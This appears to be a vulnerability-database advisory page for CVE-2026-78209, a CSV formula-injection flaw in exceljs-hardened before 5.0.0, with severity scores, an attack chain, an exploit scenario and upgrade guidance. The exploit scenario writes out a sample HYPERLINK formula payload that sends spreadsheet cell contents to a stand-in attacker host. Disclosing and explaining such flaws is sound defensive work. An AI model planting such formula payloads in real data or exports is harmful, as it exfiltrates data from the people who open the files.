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exceljs-hardened CVE-2026-78209

| EUVDEUVD-2026-64684 HIGH
Improper Neutralization of Formula Elements in a CSV File (CWE-1236)
2026-08-24 VulnCheck GHSA-4w2g-jrqm-g99q
8.4
CVSS 4.0 · Vendor: VulnCheck
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Severity by source

Vendor (VulnCheck) PRIMARY
8.4 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
8.2 HIGH

Network delivery with no auth or complexity needed; user must open CSV (UI:R); scope changes to spreadsheet app executing the formula (S:C); high confidentiality, low integrity impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
P
Scope
X

Lifecycle Timeline

2
Analysis Generated
Aug 24, 2026 - 01:05 vuln.today
CVE Published
Aug 24, 2026 - 00:30 cve.org
HIGH 8.4

DescriptionCVE.org

exceljs-hardened versions before 5.0.0 fail to neutralize leading equals, plus, minus, or at signs in cell values written to CSV output. Attackers who can influence exported cell values can inject formulas that execute when the CSV file is opened in a spreadsheet application, potentially exfiltrating data or performing other malicious actions.

AnalysisAI

CSV formula injection in exceljs-hardened before version 5.0.0 allows attackers who can influence exported cell values to embed spreadsheet formulas in generated CSV output by supplying values beginning with =, +, -, or @. When a victim opens the resulting CSV in a spreadsheet application such as Microsoft Excel or LibreOffice Calc, injected formulas execute in the spreadsheet context, enabling data exfiltration or unauthorized actions within that application. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Submit crafted formula value via application input
Delivery
Application stores attacker-controlled cell value
Exploit
exceljs-hardened exports records to CSV without sanitizing formula characters
Execution
Victim downloads and opens CSV in spreadsheet application
Persist
Spreadsheet auto-executes injected formula
Impact
Formula exfiltrates data to attacker-controlled endpoint

Vulnerability AssessmentAI

Exploitation Two conditions must hold simultaneously: (1) the attacker must control at least one string value that will be written into a CSV export by the application - achievable through any data-submission vector the application exposes (web form fields, API payloads, file imports, or database records the attacker can influence); and (2) a human victim must open the generated CSV file in a spreadsheet application that auto-executes formulas on open, such as Microsoft Excel (with macros or DDE enabled) or LibreOffice Calc. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N) reflects a remotely reachable attack with no complexity or privilege prerequisites from the library's perspective, though passive user interaction (UI:P - opening the CSV) is required. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker submits a crafted input - for example, a name field containing `=HYPERLINK("http://attacker.example/exfil?d="&A1,"View Report")` - to any form or API endpoint whose data is later exported via exceljs-hardened. An administrator or end-user downloads the resulting CSV and opens it in Microsoft Excel or LibreOffice Calc, at which point the spreadsheet application executes the formula, silently sending cell contents to the attacker's server. …
Remediation Upgrade exceljs-hardened to version 5.0.0 or later, which introduces proper neutralization of leading formula-trigger characters (=, +, -, @) in CSV cell values, as documented in the security advisory at https://github.com/mateocallec/exceljs-hardened/security/advisories/GHSA-9wxc-4rhw-hfrw. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, inventory all systems and applications using exceljs-hardened, prioritizing those generating CSV exports from user or external data sources, and document current versions and deployment scope. …

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CVE-2026-78209 vulnerability details – vuln.today

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